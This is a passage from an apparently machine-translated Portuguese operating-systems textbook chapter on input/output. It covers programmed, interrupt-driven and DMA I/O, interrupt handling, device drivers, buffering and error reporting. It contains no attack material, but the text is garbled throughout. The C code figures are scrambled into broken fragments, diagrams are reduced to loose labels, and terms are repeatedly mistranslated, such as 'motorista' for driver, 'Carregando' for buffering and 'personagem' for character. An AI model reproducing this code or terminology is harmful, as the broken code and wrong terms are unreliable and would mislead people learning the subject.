= 0; i < contagem; i++) { while em cada caractere */ /* loop até estar 
(*pr inter status reg = READY) ; *pr registro entre pronto *//* saída de um 
dados = p[i]; Es caractere */ 


) retornar para usuário(); 


Figura 5-8. Gravando uma string na impressora usando E/S programada. 


A E/S programada é simples, mas tem a desvantagem de ocupar a CPU em tempo integral até que 
toda a E/S seja concluída. Se o tempo para "imprimir" um caractere for muito curto (porque tudo o 
que a impressora está fazendo é copiar o novo caractere para um buffer interno), então a espera 
ocupada é adequada. Além disso, em um sistema embarcado, onde a CPU não tem mais nada 
para fazer, a espera ocupada é adequada. Entretanto, em sistemas mais complexos, onde a CPU 
tem outro trabalho a fazer, a espera ocupada é ineficiente. É necessário um método de E/S melhor. 


5.2.3 E/S acionada por interrupção 


Agora consideremos o caso de impressão em uma impressora que não armazena caracteres 
em buffer, mas imprime cada um assim que chega. Se a impressora puder imprimir, digamos, 100 
caracteres/seg, cada caractere levará 10 ms para ser impresso. Isso significa que depois que cada 
caractere for gravado no registro de dados da impressora, a CPU permanecerá em um loop inativo 
por 10 ms, aguardando a saída do próximo caractere. Isso é tempo mais que suficiente para fazer 
uma troca de contexto e executar algum outro processo por quase todos os 10 ms que de outra 
forma seriam desperdiçados. 

A maneira de permitir que a CPU faça outra coisa enquanto espera a impressora ficar pronta 
é usar interrupções. Quando a chamada do sistema para imprimir a string é feita, 
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o buffer é copiado para o espaço do kernel, como mostramos anteriormente, e o primeiro 
caractere é copiado para a impressora assim que ela estiver disposta a aceitar um caractere. 
Nesse ponto, a CPU chama o escalonador e algum outro processo é executado. O processo que 
solicitou a impressão da string é bloqueado até que toda a string seja impressa. O trabalho 
realizado na chamada do sistema é mostrado na Figura 5.9(a). 


copiar do usuário(buffer, p, contagem); if (contagem == 0) 

habilitar interrupções(); (desbloquear 

while (*pr inter status reg! = PRONTO); *pr registro usuário(); ) 

entre dados = p[0]; Agendador( ); else ( *pr registro entre dados = pli]; 


contagem = contagem 
1; eu =eu + 1; 


} 


reconhecer interrupção(); return 
da interrupção();_ 


(a) (b) 


Figura 5-9. Escrever uma string na impressora usando E/S orientada por interrupção. (a) Código 
executado no momento em que a chamada do sistema print é feita. (b) Interromper o procedimento 
de serviço da impressora. 


Quando a impressora imprime o caractere e está preparada para aceitar o próximo, ela gera 
uma interrupção. Esta interrupção interrompe o processo atual e salva seu estado. Em seguida, 
o procedimento de serviço de interrupção da impressora é executado. Uma versão bruta desse 
código é mostrada na Figura 5.9(b). Se não houver mais caracteres para imprimir, o manipulador 
de interrupção executa alguma ação para desbloquear o usuário. Caso contrário, ele gera o 
próximo caractere, reconhece a interrupção e retorna ao processo que estava em execução 
imediatamente antes da interrupção, que continua de onde parou. 


5.2.4 E/S usando DMA 


Uma desvantagem óbvia da E/S orientada por interrupção é que uma interrupção ocorre em 
cada caractere. As interrupções levam tempo, portanto esse esquema desperdiça uma certa 
quantidade de tempo de CPU. Uma solução é usar DMA. Aqui a ideia é deixar o controlador 
DMA alimentar a impressora com os caracteres um de cada vez, sem que a CPU seja 
incomodada. Em essência, o DMA é uma E/S programada, apenas com o controlador DMA 
fazendo todo o trabalho, em vez da CPU principal. Esta estratégia requer hardware especial (o 
controlador DMA), mas libera a CPU durante a E/S para realizar outros trabalhos. Um esboço 
do código é fornecido na Figura 5.10. 

A grande vitória do DMA é reduzir o número de interrupções de uma por caractere para uma 
por buffer impresso. Se houver muitos caracteres e as interrupções forem lentas, isso pode ser 
uma grande melhoria. Por outro lado, o controlador DMA geralmente é muito mais lento que a 
CPU principal. Se o controlador DMA não for capaz de acionar o dispositivo em velocidade total, 
ou se a CPU geralmente não tiver nada para fazer enquanto espera pela interrupção DMA, então 
a E/S orientada por interrupção ou mesmo a E/S programada pode ser melhor. Na maioria das 
vezes, porém, o DMA vale a pena. 
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copiar do usuário(buffer, p, contagem); reconhecer interrupção(); 

configurar o controlador DMA ( ); desbloquear usuário(); 

Agendador( ); return da interrupção(); 


(a) (b) 


Figura 5-10. Imprimindo uma string usando DMA. (a) Código executado quando a impressão 
chamada de sistema é feita. (b) Procedimento de interrupção do serviço. 


5.3 CAMADAS DE SOFTWARE DE E/S 


O software de E/S normalmente é organizado em quatro camadas, conforme mostrado na Figura 5.11. Cada 
camada tem uma função bem definida para executar e uma interface bem definida para o 
camadas adjacentes. A funcionalidade e as interfaces diferem de sistema para sistema, portanto 
a discussão a seguir, que examina todas as camadas começando na parte inferior, é 


não específico para uma máquina. 


Figura 5-11. Camadas do sistema de software de E/S. 


5.3.1 Manipuladores de interrupção 


Embora a E/S programada seja ocasionalmente útil, para a maioria das E/S, as interrupções são um 
fato desagradável da vida e não pode ser evitado. Eles deveriam estar escondidos, bem no fundo 
as entranhas do sistema operacional, de modo que o mínimo possível do sistema operacional saiba sobre eles. 
A melhor maneira de ocultá-los é fazer com que o motorista inicie um 
Bloco de operação de E/S até que a E/S seja concluída e a interrupção ocorra. O motorista 
pode bloquear a si mesmo, por exemplo, realizando um down em um semáforo, uma espera em uma variável de 
condição, um recebimento em uma mensagem ou algo semelhante. 
Quando a interrupção acontece, o procedimento de interrupção faz o que for necessário 
para lidar com a interrupção. Então ele pode desbloquear o driver que estava esperando por ele. 
Em alguns casos, ele será concluído apenas em um semáforo. Em outros, fará um sinal 
em uma variável de condição em um monitor. Em outros ainda, enviará uma mensagem ao 
motorista bloqueado. Em todos os casos, o efeito líquido da interrupção será que um driver que 
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foi bloqueado anteriormente agora poderá ser executado. Este modelo funciona melhor se os drivers estiverem 
estruturados como processos (seja no modo kernel ou no modo usuário), com seus próprios estados, pilhas e contadores 
de programa. 

É claro que a realidade não é tão simples. Processar uma interrupção não é apenas uma questão de pegar a 
interrupção, fazer um up em algum semáforo e então executar uma instrução IRET para retornar da interrupção para o 
processo anterior. Há muito mais trabalho envolvido no sistema operacional. Daremos agora um esboço deste trabalho 
como uma série de etapas que devem ser executadas no software após a conclusão da interrupção de hardware 
discutida anteriormente. Deve-se observar que os detalhes são altamente dependentes do sistema, portanto, algumas 
das etapas listadas abaixo podem não ser necessárias em uma máquina específica e etapas não listadas podem ser 


necessárias. Além disso, as etapas que ocorrem podem estar em uma ordem diferente em algumas máquinas. 


1. Salve quaisquer registros (incluindo o PSW) que ainda não tenham sido salvos pelo hardware de 


interrupção. 


2. Configure um contexto para o procedimento de serviço de interrupção. Fazer isso pode envolver a 


configuração do TLB, MMU e uma tabela de páginas. 
3. Configure uma pilha para o procedimento de serviço de interrupção. 


4. Reconheça o controlador de interrupção. Se não houver inter centralização 


interromper o controlador, reativar as interrupções. 


5. Copie os registros de onde foram salvos (possivelmente alguma pilha) para a tabela de processos. 


6. Execute o procedimento de serviço de interrupção. Normalmente, ele extrairá informações dos registros 


do controlador do dispositivo de interrupção. 


7. Escolha qual processo será executado em seguida. Se a interrupção fez com que algum processo de 


alta prioridade que estava bloqueado ficasse pronto, ele pode ser escolhido para ser executado agora. 


8. Configure o contexto MMU para o próximo processo ser executado. Algum conjunto TLB 


up também pode ser necessário. 
9. Carregue os registros do novo processo, incluindo seu PSW. 


10. Comece a executar o novo processo. 


Como pode ser visto, o processamento de interrupções está longe de ser trivial. Também é necessário um número 
considerável de instruções de CPU, especialmente em máquinas nas quais a memória virtual está presente e as tabelas 
de páginas precisam ser configuradas ou o estado da MMU armazenado (por exemplo, os bits Re M ) . Em algumas 
máquinas, o cache TLB e CPU também pode precisar ser gerenciado ao alternar entre os modos de usuário e kernel, o 


que requer ciclos de máquina adicionais se muitas entradas precisarem ser eliminadas. 
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5.3.2 Drivers de dispositivos 


Anteriormente neste capítulo, vimos o que os controladores de dispositivos fazem. Vimos que 
cada controlador possui alguns registros de dispositivos usados para fornecer comandos ou alguns 
registros de dispositivos usados para ler seu status ou ambos. O número de registros do dispositivo 
e a natureza dos comandos variam radicalmente de dispositivo para dispositivo. Por exemplo, um 
driver de mouse precisa aceitar informações do mouse informando o quanto ele se moveu e quais 
botões estão pressionados no momento. Em contraste, um driver de disco pode precisar saber 
tudo sobre setores, trilhas, cilindros, cabeçotes, movimento do braço, acionamentos de motor, 
tempos de ajuste do cabeçote e todos os outros mecanismos para fazer o disco funcionar corretamente. 
Obviamente, esses drivers serão muito diferentes. 

Consequentemente, cada dispositivo de E/S conectado a um computador precisa de algum 
código específico do dispositivo para controlá-lo. Esse código, chamado driver do dispositivo, 
geralmente é escrito pelo fabricante do dispositivo e entregue junto com o dispositivo. Como cada 
sistema operacional precisa de seus próprios drivers, os fabricantes de dispositivos geralmente 
fornecem drivers para vários sistemas operacionais populares. 

Cada driver de dispositivo normalmente lida com um tipo de dispositivo ou, no máximo, uma 
classe de dispositivos intimamente relacionados. Por exemplo, um driver de disco SATA 
geralmente pode lidar com vários SSDs SATA e discos SATA de tamanhos e velocidades 
diferentes. Por outro lado, o mouse e o joystick são tão diferentes que geralmente são necessários 
drivers diferentes. No entanto, não há restrição técnica para que um driver de dispositivo controle 
vários dispositivos não relacionados. Simplesmente não é uma boa ideia na maioria dos casos. 

Às vezes, porém, dispositivos totalmente diferentes são baseados na mesma tecnologia 
subjacente. O exemplo mais conhecido é provavelmente o USB (Universal Serial Bus). Não é 
chamado de “universal” à toa. Os dispositivos USB incluem discos, mouses, cartões de memória, 
câmeras, teclados, miniventiladores, robôs, leitores de cartão de crédito, leitores de código de 
barras, barbeadores recarregáveis, trituradores de papel, bolas de discoteca e termômetros. Todos 
eles usam USB, mas fazem coisas muito diferentes. O truque é que os drivers USB normalmente 
são empilhados, como uma pilha TCP/IP em redes. Na parte inferior, normalmente em hardware, 
encontramos a camada de link USB (E/S serial) que lida com itens de hardware, como sinalização 
e decodificação de um fluxo de sinais para pacotes USB. É usado por camadas superiores que 
lidam com os pacotes de dados e a funcionalidade comum para USB que é compartilhada pela 
maioria dos dispositivos. Além disso, finalmente, encontramos as APIs de camadas superiores, 
como interfaces para armazenamento em massa, câmeras, etc. Assim, ainda temos drivers de 
dispositivos separados, embora compartilhem parte da pilha de protocolos. 

Para acessar o hardware do dispositivo, ou seja, os registros do controlador, o driver do 
dispositivo normalmente precisa fazer parte do kernel do sistema operacional, pelo menos nas 
arquiteturas atuais. Na verdade, é possível construir drivers que rodem no espaço do usuário, com 
chamadas de sistema para leitura e escrita dos registradores do dispositivo. Esse design isola o 
kernel dos drivers e os drivers uns dos outros, eliminando uma importante fonte de travamentos do 
sistema — drivers com bugs que interferem no kernel de uma forma ou de outra. Para construir 
sistemas altamente confiáveis, este é definitivamente um bom caminho a percorrer. Um exemplo 
de sistema no qual os drivers de dispositivo são executados como processos do usuário é 
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MINIX3 (www.minix3.org). Entretanto, como a maioria dos outros sistemas operacionais de desktop 
executam seus drivers no kernel, esse é o modelo que consideraremos aqui. 

Como os projetistas de todo sistema operacional sabem que nele serão instalados pedaços de 
código (drivers) escritos por terceiros, ele precisa ter uma arquitetura que permita tal instalação. Isso 
significa ter um modelo bem definido do que um driver faz e como ele interage com o restante do 
sistema operacional. Os drivers de dispositivos normalmente são posicionados abaixo do restante 
do sistema operacional, como ilustrado na Figura 5.12. 


Processo do usuário 


Do utilizador 


Do utilizador 
programa 
espaço 


Aq 


Resto do sistema operacional 


Núcleo 


espaço 


Driver de Driver da Driver 
impressora câmera SSD 


Hardware Controlador de impressora Controlador de câmera Controlador SSD 


Dispositivos 


Figura 5-12. Posicionamento lógico de drivers de dispositivos. Na realidade, toda a comunicação 
entre drivers e controladores de dispositivos passa pelo barramento. 


Os sistemas operacionais geralmente classificam os drivers em um pequeno número de 
categorias. As categorias mais comuns são os dispositivos de bloco, como discos, que contêm vários 
blocos de dados que podem ser endereçados de forma independente, e os dispositivos de caracteres, 
como teclados e impressoras, que geram ou aceitam um fluxo de caracteres. 
atores. 

A maioria dos sistemas operacionais define uma interface padrão que todos os drivers de bloco 
devem suportar e uma segunda interface padrão que todos os drivers de caracteres devem suportar. 
Essas interfaces consistem em uma série de procedimentos que o restante do sistema operacional 
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o sistema pode ligar para que o driver faça o trabalho para ele. Procedimentos típicos são aqueles para ler um 
bloco (dispositivo de bloco) ou escrever uma sequência de caracteres (dispositivo de caracteres). 

Em alguns sistemas, o sistema operacional é um único programa binário que contém todos os drivers 
necessários compilados nele. Esse esquema foi a norma durante anos nos sistemas UNIX porque eles eram 
executados por centros de informática e os dispositivos de E/S raramente mudavam. Se um novo dispositivo 
for adicionado, o administrador do sistema simplesmente recompilará o kernel com o novo driver para construir 
um novo binário. 

Com o advento dos computadores pessoais, com a sua miríade de dispositivos de E/S, este modelo 
deixou de funcionar. Poucos usuários são capazes de recompilar ou vincular novamente o kernel, mesmo que 
possuam o código fonte ou módulos objeto, o que nem sempre é o caso. Em vez disso, os sistemas 
operacionais, começando com o MS-DOS, passaram para um modelo no qual os drivers eram carregados 
dinamicamente no sistema durante a execução. Diferentes sistemas lidam com o carregamento de drivers de 
maneiras diferentes. 

Um driver de dispositivo possui diversas funções. A mais óbvia é aceitar solicitações abstratas de leitura 
e gravação do software independente de dispositivo acima dele e verificar se elas são executadas. Mas também 
existem algumas outras funções que ele deve desempenhar. Por exemplo, o driver deve inicializar o dispositivo, 
se necessário. Também pode ser necessário gerenciar seus requisitos de energia e registrar eventos. 


Muitos drivers de dispositivos possuem uma estrutura geral semelhante. Um driver típico começa 
verificando os parâmetros de entrada para ver se são válidos. Caso contrário, um erro será retornado. Se forem 
válidos, poderá ser necessária uma tradução de termos abstratos para termos concretos. Para um driver de 
disco, isso pode significar a conversão de um número de bloco linear nos números de cabeçote, trilha, setor e 
cilindro para a geometria do disco, enquanto para SSDs o número do bloco deve ser mapeado no bloco flash e 
na página apropriados. 

Em seguida, o driver pode verificar se o dispositivo está em uso. Se for, a solicitação será colocada na fila 
para processamento posterior. Se o dispositivo estiver ocioso, o status do hardware será examinado para 
verificar se a solicitação pode ser tratada agora. Pode ser necessário ligar o dispositivo ou ligar um motor antes 
que as transferências possam ser iniciadas. Nas impressoras jato de tinta, o cabeçote de impressão precisa 
dançar um pouco antes de começar a imprimir. Assim que o dispositivo estiver ligado e pronto para funcionar, 
o controle real pode começar. 

Controlar o dispositivo significa emitir uma sequência de comandos para ele. O driver é o local onde a 
sequência de comandos é determinada, dependendo do que deve ser feito. Depois que o driver sabe quais 
comandos irá emitir, ele começa a gravá-los nos registradores do dispositivo do controlador. Após cada 
comando ser gravado no controlador, pode ser necessário verificar se o controlador aceitou o comando e está 
preparado para aceitar o próximo. Esta sequência continua até que todos os comandos tenham sido emitidos. 
Alguns controladores podem receber uma lista vinculada de comandos (na memória) e instruídos a lê-los e 
processá-los sozinhos, sem ajuda adicional do sistema operacional. 


Depois que os comandos forem emitidos, uma das duas situações será aplicada. Em muitos casos, o 
driver do dispositivo deve esperar até que o controlador faça algum trabalho para ele, então ele se bloqueia até 
que a interrupção chegue para desbloqueá-lo. Em outros casos, porém, a operação termina sem demora, 
portanto o motorista não precisa bloquear. Como um 
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exemplo da última situação, rolar a tela requer apenas escrever alguns bytes 
nos registros do controlador. Nenhum movimento mecânico é necessário, portanto toda a operação pode ser 
concluída em nanossegundos. 

No primeiro caso, o driver bloqueado será despertado pela interrupção. No 
último caso, ele nunca irá dormir. De qualquer forma, após a conclusão da operação, o driver deverá verificar se há 
erros. Se tudo estiver bem, o motorista pode 
ter alguns dados para passar ao software independente do dispositivo (por exemplo, um bloco que acabou de ser lido). 
Finalmente, ele retorna algumas informações de status para reportar erros ao cnhamador. Se 
quaisquer outras solicitações são enfileiradas, uma delas agora pode ser selecionada e iniciada. Se 
nada está na fila, o driver bloqueia aguardando a próxima solicitação. 

Este modelo simples é apenas uma aproximação aproximada da realidade. Muitos fatores fazem 
o código muito mais complicado. Por um lado, um dispositivo de E/S pode completar 
enquanto um driver está em execução, interrompendo o driver. A interrupção pode fazer com que um dispositivo 
motorista para executar. Na verdade, isso pode fazer com que o driver atual seja executado. Por exemplo, enquanto o 
driver de rede estiver processando um pacote recebido, outro pacote poderá chegar. Consequentemente, os 
condutores têm de ser reentrantes, o que significa que um condutor em execução tem de 
espere que ele seja chamado uma segunda vez antes que a primeira chamada seja concluída. 

Em um sistema hot-plug, dispositivos podem ser adicionados ou removidos enquanto o computador está em 
execução. Como resultado, enquanto um driver está ocupado lendo algum dispositivo, o 
o sistema pode informar que o usuário removeu repentinamente esse dispositivo do sistema. Não apenas a 
transferência de E/S atual deve ser encerrada sem danificar qualquer 
estruturas de dados do kernel, mas quaisquer solicitações pendentes para o dispositivo agora desaparecido devem 
também serão removidos do sistema e seus chamadores receberão as más notícias. 
Além disso, a adição inesperada de novos dispositivos pode fazer com que o kernel faça malabarismos com recursos 
(por exemplo, interromper linhas de solicitação), retirando os antigos do driver. 
e dando-lhe novos em seu lugar. 

Os motoristas não têm permissão para fazer chamadas de sistema, mas muitas vezes precisam interagir 
com o resto do kernel. Normalmente, são permitidas cnamadas para determinados procedimentos do kernel. 
Por exemplo, geralmente há chamadas para alocar e desalocar páginas conectadas de 
memória para uso como buffers. Outras chamadas úteis são necessárias para gerenciar o MMU, 


temporizadores, o controlador DMA, o controlador de interrupção e assim por diante. 


5.3.3 Software de E/S independente de dispositivo 


Embora parte do software de E/S seja específico do dispositivo, outras partes dele são independentes do 
dispositivo. O limite exato entre os drivers e o software independente do dispositivo depende do sistema (e do 
dispositivo), porque algumas funções que poderiam 
ser feito de forma independente do dispositivo pode, na verdade, ser feito nos drivers, por 
eficiência ou outras razões. As funções mostradas na Fig. 5-13 são normalmente executadas em 
o software independente do dispositivo. 

A função básica do software independente de dispositivo é realizar a E/S 


funções que são comuns a todos os dispositivos e para fornecer uma interface uniforme para o 
software em nível de usuário. Veremos agora com mais detalhes as questões acima. 
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Interface uniforme para drivers de dispositivo 


Carregando 


Relatório de erros 


Alocando e liberando dispositivos dedicados 


Fornecendo um tamanho de bloco independente de dispositivo 


Figura 5-13. Funções do software de E/S independente de dispositivo. 


Interface uniforme para drivers de dispositivos 


Uma questão importante em um sistema operacional é como fazer com que todos os dispositivos e 
drivers de E/S pareçam mais ou menos iguais. Se discos, impressoras, teclados e assim por diante estiverem todos 
interfaceados de maneiras diferentes, cada vez que um novo dispositivo surge, o sistema operacional 
o sistema deve ser modificado para o novo dispositivo. Ter que hackear o sistema operacional de cada novo 
dispositivo não é uma boa ideia. 

Um aspecto deste problema é a interface entre os drivers de dispositivo e o resto 
do sistema operacional. Na Figura 5.14(a), ilustramos uma situação em que cada driver de dispositivo possui 
uma interface diferente com o sistema operacional. O que isso significa é que 
as funções do driver disponíveis para o sistema chamar diferem de driver para driver. Isto 
também pode significar que as funções do kernel que o driver precisa também diferem das 
motorista para motorista. Tomados em conjunto, significa que a interface de cada novo driver requer um 


muitos novos esforços de programação. 


Sistema operacional Sistema operacional 


Pod ts A oh dh An 


Driver de disco SATA Driver de disco USB Driver de disco SCSI Driver de disco SATA Driver de disco USB Driver de disco SCSI 


(a) (b) 


Figura 5-14. (a) Sem uma interface de driver padrão. (b) Com um driver padrão 
interface. 


Em contraste, na Figura 5.14(b), mostramos um projeto diferente no qual todos os drivers 
têm a mesma interface. Agora fica muito mais fácil conectar um novo driver, desde que ele esteja em 
conformidade com a interface do driver. Isso também significa que os criadores de drivers sabem 


o que se espera deles. Na prática, nem todos os dispositivos são absolutamente idênticos, mas 
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geralmente há apenas um pequeno número de tipos de dispositivos e mesmo estes são geralmente 
quase iguais ou diferem apenas em pequenos aspectos. 

A maneira como isso funciona é a seguinte. Para cada classe de dispositivos, como discos ou 
impressoras, o sistema operacional define um conjunto de funções que o driver deve fornecer. 
Para um disco, isso incluiria naturalmente leitura e gravação, mas também ligar e desligar, formatar e 
outras coisas do disco. Frequentemente, o driver mantém uma tabela com ponteiros para essas funções. 
Quando o driver é carregado, o sistema operacional registra o endereço desta tabela de ponteiros de 
função, portanto, quando precisar chamar uma das funções, poderá fazer uma chamada indireta através 
desta tabela. Esta tabela de ponteiros de função define a interface entre o driver e o resto do sistema 
operacional. Todos os dispositivos de uma determinada classe (discos, impressoras, etc.) devem 
obedecê-lo. 

Outro aspecto de ter uma interface uniforme é como os dispositivos de E/S são nomeados. 
O software independente de dispositivo se encarrega de mapear nomes simbólicos de dispositivos no 
driver adequado. Por exemplo, no UNIX, um nome de dispositivo, como /dev/disk0, especifica 
exclusivamente o i-node para um arquivo especial, e esse i-node contém o número principal do 
dispositivo, que é usado para localizar o driver apropriado. O i-node também contém o número 
secundário do dispositivo, que é passado como parâmetro ao driver para especificar a unidade a ser 
lida ou escrita. Todos os dispositivos possuem números maiores e menores, e todos os drivers são 
acessados usando o número principal do dispositivo para selecionar o driver. 


Intimamente relacionado à nomenclatura está a proteção. Como o sistema impede que os usuários 
acessem dispositivos aos quais não têm direito de acesso? Tanto no UNIX quanto no Windows, os 
dispositivos aparecem no sistema de arquivos como objetos nomeados, o que significa que as regras 
usuais de proteção para arquivos também se aplicam aos dispositivos de E/S. O administrador do 
sistema pode então definir as permissões adequadas para cada dispositivo. 


Carregando 


O buffer também é um problema, tanto para dispositivos de bloco quanto de caracteres, por vários 
motivos. Para ver um deles, considere um processo que deseja ler dados de um modem (VDSL — Very 
High Bitrate Digital Subscriber Line), algo que muitas pessoas usam em casa para se conectar à 
Internet. Uma estratégia possível para lidar com os caracteres recebidos é fazer com que o processo 
do usuário faça uma chamada de sistema de leitura e bloqueie a espera por um caractere. Cada 
personagem que chega causa uma interrupção. O procedimento de serviço de interrupção entrega o 
caractere ao processo do usuário e o desbloqueia. 

Após colocar o caractere em algum lugar, o processo lê outro caractere e bloqueia novamente. Este 
modelo é indicado na Figura 5.15(a). 

O problema dessa maneira de fazer negócios é que o processo do usuário precisa ser iniciado 
para cada caractere recebido. Permitir que um processo seja executado muitas vezes para tiragens 
curtas é ineficiente, portanto esse design não é bom. 

Uma melhoria é mostrada na Figura 5.15(b). Aqui, o processo do usuário fornece um buffer de n 
caracteres no espaço do usuário e faz uma leitura de n caracteres. A interrupção- 


Machine Translated by Google 


SEC. 5.3 CAMADAS DE SOFTWARE DE E/S 365 


Processo do usuário 


Do utilizador 


espaço 


Núcleo 
espaço 


Figura 5-15. (a) Entrada sem buffer. (b) Buffer no espaço do usuário. (c) Buffer em 
o kernel seguido de cópia para o espaço do usuário. (d) Buffer duplo no kernel. 


O procedimento de serviço coloca os caracteres recebidos neste buffer até que esteja completamente cheio. 
Só então ele ativa o processo do usuário. Este esquema é muito mais eficiente do que 
o anterior, mas tem uma desvantagem: o que acontece se o buffer for paginado 
quando um personagem chega? O buffer pode estar bloqueado na memória, mas se muitos 
processos começam a bloquear páginas na memória, quer queira quer não, o conjunto de páginas disponíveis 
diminuirá e o desempenho será degradado. 
Ainda outra abordagem é criar um buffer dentro do kernel e fazer com que o manipulador de interrupção 
coloque os caracteres lá, como mostrado na Figura 5.15(c). Quando esse buffer é 
cheio, a página com o buffer do usuário é trazida, se necessário, e o buffer é copiado 
lá em uma operação. Este esquema é muito mais eficiente. 
Contudo, mesmo este esquema melhorado sofre de um problema: o que acontece com 
caracteres que chegam enquanto a página com o buffer do usuário está sendo trazida de 
O disco? Como o buffer está cheio, não há lugar para colocá-los. Uma saída é 
tem um segundo buffer de kernel. Depois que o primeiro buffer estiver cheio, mas antes de ter sido 
esvaziado, o segundo é usado, conforme mostrado na Figura 5.15(d). Quando o segundo buffer 
preenchido, ele estará disponível para ser copiado para o usuário (assumindo que o usuário tenha solicitado). 
Enquanto o segundo buffer está sendo copiado para o espaço do usuário, o primeiro pode ser usado para 
novos personagens. Desta forma, os dois buffers se revezam: enquanto um está sendo copiado 
para o espaço do usuário, o outro está acumulando novas informações. Um esquema de buffer como este é 
chamado buffer duplo. 
Outra forma comum de buffer é o buffer circular. Consiste em um 
região de memória e dois ponteiros. Um ponteiro aponta para a próxima palavra livre, 
onde novos dados podem ser colocados. O outro ponteiro aponta para a primeira palavra de dados em 
o buffer que ainda não foi removido. Em muitas situações, o hardware 
avança o primeiro ponteiro à medida que adiciona novos dados (por exemplo, recém-chegados da rede) 
e o sistema operacional avança o segundo ponteiro à medida que remove e processa 
dados. Ambos os ponteiros se enrolam, voltando para baixo quando atingem o topo. 
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O buffer também é importante na saída. Considere, por exemplo, como a saída é feita para o 
modem sem buffer usando o modelo da Figura 5.15(b). O processo do usuário executa uma chamada 
de sistema de gravação para gerar n caracteres. O sistema tem duas opções neste momento. Ele 
pode bloquear o usuário até que todos os caracteres tenham sido escritos, mas isso pode levar 
muito tempo em uma linha telefônica lenta. Ele também poderia liberar o usuário imediatamente e 
fazer a E/S enquanto o usuário computa um pouco mais, mas isso leva a um problema ainda pior: 
como o processo do usuário sabe que a saída foi concluída e pode reutilizar o buffer? O sistema 
pode gerar um sinal ou interrupção de software, mas esse estilo de programação é difícil e sujeito a 
condições de corrida. Uma solução muito melhor é o kernel copiar os dados para um buffer do 
kernel, análogo à Figura 5.15(c) (mas no sentido inverso), e desbloquear o chamador imediatamente. 
Agora não importa quando a E/S real foi concluída. O usuário é livre para reutilizar o buffer no 
instante em que ele for desbloqueado. 


O buffer é uma técnica amplamente utilizada, mas também tem uma desvantagem. Se os dados 
forem armazenados em buffer muitas vezes, o desempenho será prejudicado. Considere, por 
exemplo, a rede da Figura 5.16. Quando um usuário realiza uma chamada de sistema para gravar 
na rede, o kernel copia o pacote para um buffer do kernel para permitir que o usuário prossiga 
imediatamente (etapa 1). Neste ponto, o programa do usuário pode reutilizar o buffer. 


Processo do usuário 


Do utilizador 


espaço 


Núcleo 
espaço 


Controlador de rede 


| 


Rede A 


Figura 5-16. A rede pode envolver muitas cópias de um pacote. 


Quando o driver é chamado, ele copia os dados para o controlador para saída (etapa 2). 
A razão pela qual ele não envia para o fio diretamente da memória do kernel é que, uma vez iniciada 
a transmissão do pacote, ela deve continuar a uma velocidade uniforme. O driver não pode garantir 
que poderá chegar à memória a uma velocidade uniforme porque os canais DMA e outros dispositivos 
de E/S podem estar roubando muitos ciclos. Não conseguir transmitir uma palavra a tempo arruinaria 
o pacote. Ao armazenar o pacote dentro do controlador, esse problema é evitado. 


Após o pacote ter sido copiado para o buffer interno do controlador, ele é copiado para a rede 
(etapa 3). Os bits chegam ao receptor logo após serem enviados, então 
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logo após o último bit ter sido enviado, esse bit chega ao receptor, onde o pacote foi armazenado 
em buffer no controlador. Em seguida, o pacote é copiado para o buffer do kernel do receptor 
(etapa 4). Finalmente, ele é copiado para o buffer do processo receptor (etapa 5). 

Normalmente, o receptor envia de volta uma confirmação. Quando o remetente recebe a 
confirmação, ele está livre para enviar o próximo pacote. No entanto, deve ficar claro que toda 
esta cópia irá diminuir consideravelmente a taxa de transmissão porque todas as etapas devem 
acontecer sequencialmente. 


Relatório de erros 


Os erros são muito mais comuns no contexto de E/S do que em outros contextos. Quando 


ocorrem, o sistema operacional deve tratá-los da melhor maneira possível. Muitos erros são 
específicos do dispositivo e devem ser tratados pelo driver apropriado, mas a estrutura para 
tratamento de erros é independente do dispositivo. 

Uma classe de erros de E/S são os erros de programação. Eles ocorrem quando um 
processo solicita algo impossível, como escrever em um dispositivo de entrada (teclado, 
scanner, mouse, etc.) ou ler em um dispositivo de saída (impressora, plotter, etc.). Outros erros 
são fornecer um endereço de buffer ou outro parâmetro inválido e especificar um dispositivo 
inválido (por exemplo, unidade 3 quando o sistema possui apenas duas unidades) e assim por 
diante. A ação a ser tomada em relação a esses erros é simples: basta reportar um código de 
erro ao chamador. 

Outra classe de erros é a classe de erros reais de E/S, por exemplo, tentar escrever um 
bloco que foi danificado ou tentar ler de uma câmera que foi desligada. Nestas circunstâncias, 
cabe ao condutor determinar o que fazer. 

Se o driver não souber o que fazer, ele poderá repassar o problema para um software 
independente do dispositivo. 

O que este software faz depende do ambiente e da natureza do erro. Se for um erro de 
leitura simples e houver um usuário interativo disponível, poderá ser exibida uma caixa de 
diálogo perguntando ao usuário o que fazer. As opções podem incluir tentar novamente um 
determinado número de vezes, ignorar o erro ou encerrar o processo de chamada. Se não 
houver nenhum usuário disponível, provavelmente a única opção real é fazer com que a chamada 
do sistema falhe com um código de erro. 

No entanto, alguns erros não podem ser tratados desta forma. Por exemplo, uma estrutura 
de dados crítica, como o diretório raiz ou a lista de bloqueios livres, pode ter sido destruída. 


Neste caso, o sistema pode ter que exibir uma mensagem de erro e encerrar. Não há muito mais 
que possa fazer. 


Alocação e liberação de dispositivos dedicados 


Alguns dispositivos, como impressoras, podem ser usados apenas por um único processo 
em um determinado momento. Cabe ao sistema operacional examinar as solicitações de uso do 
dispositivo e aceitá-las ou rejeitá-las, dependendo se o dispositivo solicitado está disponível ou 
não. Uma maneira simples de lidar com essas solicitações é exigir que os processos 
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execute aberturas diretamente nos arquivos especiais para dispositivos. Se o dispositivo não estiver disponível, a 
abertura falhará. Fechar esse dispositivo dedicado o libera. 

Uma abordagem alternativa é ter mecanismos especiais para solicitar e liberar dispositivos dedicados. Uma 
tentativa de adquirir um dispositivo que não está disponível bloqueia o chamador em vez de falhar. Os processos 
bloqueados são colocados em uma fila. Mais cedo ou mais tarde, o dispositivo solicitado fica disponível e o primeiro 


processo da fila pode adquiri-lo e continuar a execução. 


Tamanho de bloco independente de dispositivo 


SSDs diferentes têm tamanhos de página flash diferentes, enquanto discos diferentes podem ter tamanhos de 
setor diferentes. Cabe ao software independente de dispositivo ocultar esse fato e fornecer um tamanho de bloco 
uniforme para camadas superiores, por exemplo, tratando vários setores ou páginas flash como um único bloco lógico. 
Desta forma, as camadas superiores lidam apenas com dispositivos abstratos que utilizam todos o mesmo tamanho de 
bloco lógico, independente do tamanho do setor físico. Da mesma forma, alguns dispositivos de caracteres entregam 
seus dados um byte por vez (por exemplo, mouses), enquanto outros entregam seus dados em unidades maiores (por 


exemplo, interfaces Ethernet). Essas diferenças também podem estar ocultas. 


5.3.4 Software de E/S do espaço do usuário 


